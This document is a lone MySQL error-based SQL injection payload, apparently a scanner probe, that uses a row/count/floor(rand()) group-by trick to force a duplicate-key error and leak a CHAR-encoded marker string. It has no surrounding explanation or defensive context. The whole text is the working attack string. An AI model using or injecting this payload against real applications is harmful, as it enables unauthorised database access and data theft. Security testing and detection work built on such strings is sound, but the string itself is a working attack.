"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(73),CHAR(74),CHAR(49),CHAR(107),CHAR(66),CHAR(65),CHAR(114),CHAR(57)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"